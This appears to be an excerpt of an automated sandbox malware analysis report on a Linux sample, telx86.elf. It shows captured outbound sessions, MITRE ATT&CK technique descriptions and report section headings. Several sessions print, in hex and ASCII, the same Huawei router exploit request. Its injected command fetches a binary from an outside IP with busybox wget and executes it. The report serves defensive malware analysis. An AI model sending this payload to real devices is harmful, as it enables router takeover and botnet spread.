102	192.168.2.13	55182	94.120.244.197	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:15.190511942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	49430	94.123.106.14	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:15.479096889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	37036	156.254.67.180	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:15.780392885 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:17.340617895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	46770	156.241.85.241	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:55:17.097341061 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: telx86.elf PID: 5419, Parent PID: 5344

General

Start time (UTC):	11:51:43
Start date (UTC):	01/01/2024
Path:	/tmp/telx86.elf
Arguments:	/tmp/telx86.elf
File size:	66704 bytes
MD5 hash:	3a0fc12c5f8efdbfe79996aee1692d0a

Start time (UTC):	11:51:43
Start date (UTC):	01/01/2024
Path:	/tmp/telx86.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	3a0fc12c5f8efdbfe79996aee1692d0a

Start time (UTC):	11:51:43
Start date (UTC):	01/01/2024
Path:	/tmp/telx86.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	3a0fc12c5f8efdbfe79996aee1692d0a

Start time (UTC):	11:51:43
Start date (UTC):	01/01/2024
Path:	/tmp/telx86.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	3a0fc12c5f8efdbfe79996aee1692d0a

Start time (UTC):	11:51:43
Start date (UTC):	01/01/2024
Path:	/tmp/telx86.elf
Arguments:	-
File size:	66704 bytes
MD5 hash:	3a0fc12c5f8efdbfe79996aee1692d0a

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report telx86.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: telx86.elf PID: 5419, Parent PID: 5344

General

Chronological Activities

Analysis Process: telx86.elf PID: 5420, Parent PID: 5419

General

Chronological Activities

Analysis Process: telx86.elf PID: 5425, Parent PID: 5420

General

Chronological Activities

Analysis Process: telx86.elf PID: 5421, Parent PID: 5419

General

Chronological Activities

Analysis Process: telx86.elf PID: 5422, Parent PID: 5421

General

Linux Analysis Report
telx86.elf